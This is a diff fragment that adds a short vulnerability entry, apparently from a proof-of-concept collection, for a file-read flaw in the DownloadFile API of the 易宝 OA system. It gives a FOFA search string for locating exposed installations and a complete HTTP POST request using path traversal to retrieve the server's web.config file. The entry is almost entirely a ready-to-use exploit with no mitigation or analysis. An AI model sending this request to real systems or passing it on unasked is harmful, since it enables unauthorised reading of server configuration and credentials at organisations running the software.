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+## 易宝OA系统DownloadFile接口存在文件读取漏洞
+
+## fofa
+```
+"顶讯科技"
+```
+
+## poc
+```
+POST /api/files/DownloadFile HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
+Content-Length: 94
+Accept-Encoding: gzip
+Content-Type: application/x-www-form-urlencoded
+
+token=zxh&requestFileName=../../manager/web.config&pathType=1&startPosition=0&bufferSize=1000
+```